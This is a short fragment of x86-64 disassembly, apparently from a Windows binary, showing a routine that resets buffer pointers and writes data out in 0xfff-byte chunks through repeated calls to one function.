add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140011e22
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140011dd5
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140011dfe
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14025bfe8
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140011e22
cmp rsi, rbx
ja 0x140011ddc
test rsi, rsi
je 0x140011e22
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14025bfe8
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret